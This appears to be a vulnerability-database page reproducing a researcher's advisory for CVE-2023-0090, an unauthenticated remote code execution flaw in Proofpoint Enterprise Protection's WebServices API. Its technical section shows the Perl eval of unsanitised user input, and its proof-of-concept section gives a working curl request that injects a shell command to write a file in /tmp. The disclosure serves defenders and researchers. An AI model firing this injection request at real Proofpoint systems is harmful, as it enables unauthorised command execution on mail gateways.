| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2023-0090 | 8 Mar 202307:23 | – | circl | |
| Proofpoint Enterprise Protection 代码注入漏洞 | 8 Mar 202300:00 | – | cnnvd | |
| CVE-2023-0090 | 8 Mar 202300:27 | – | cve | |
| CVE-2023-0090 Proofpoint Enterprise Protection webservices unauthenticated RCE | 8 Mar 202300:27 | – | cvelist | |
| Exploit for Eval Injection in Proofpoint Enterprise_Protection | 7 Jul 202613:05 | – | githubexploit | |
| EUVD-2023-12191 | 3 Oct 202520:07 | – | euvd | |
| CVE-2023-0090 | 8 Mar 202301:15 | – | nvd | |
| CVE-2023-0090 | 8 Mar 202301:15 | – | osv | |
| Remote code execution | 8 Mar 202301:15 | – | prion | |
| PT-2023-16005 · Proofpoint · Proofpoint Enterprise Protection | 8 Mar 202300:00 | – | ptsecurity |
# About
Security researcher: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Overview: Remote Code Execution - Unauthenticated RCE
CVE: CVE-2023-0090
Timeline:
* Discovered - ly1g3
* Reported - ly1g3
* Fixed - Proofpoint
# Proofpoint Messaging Security Gateway 8.18.4.73-8.18.4.73
Exploits for Proofpoint Messaging Security Gateway
## Remote Code Execution (RCE)
With access to the WebServices API unauthenticated RCE with admin privileges can be achieved.
## Technical
`Webservices.pm` does not sanitize or check user input. No authentication is required to reach the function but API access must be enable in settings to be able to do RCE. `$module` comes directly from user data and is evaluated.
```perl
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
```
## POC
Will create file called `abc` in `/tmp/`. Code run as `pps` user.
```bash
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"
```Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation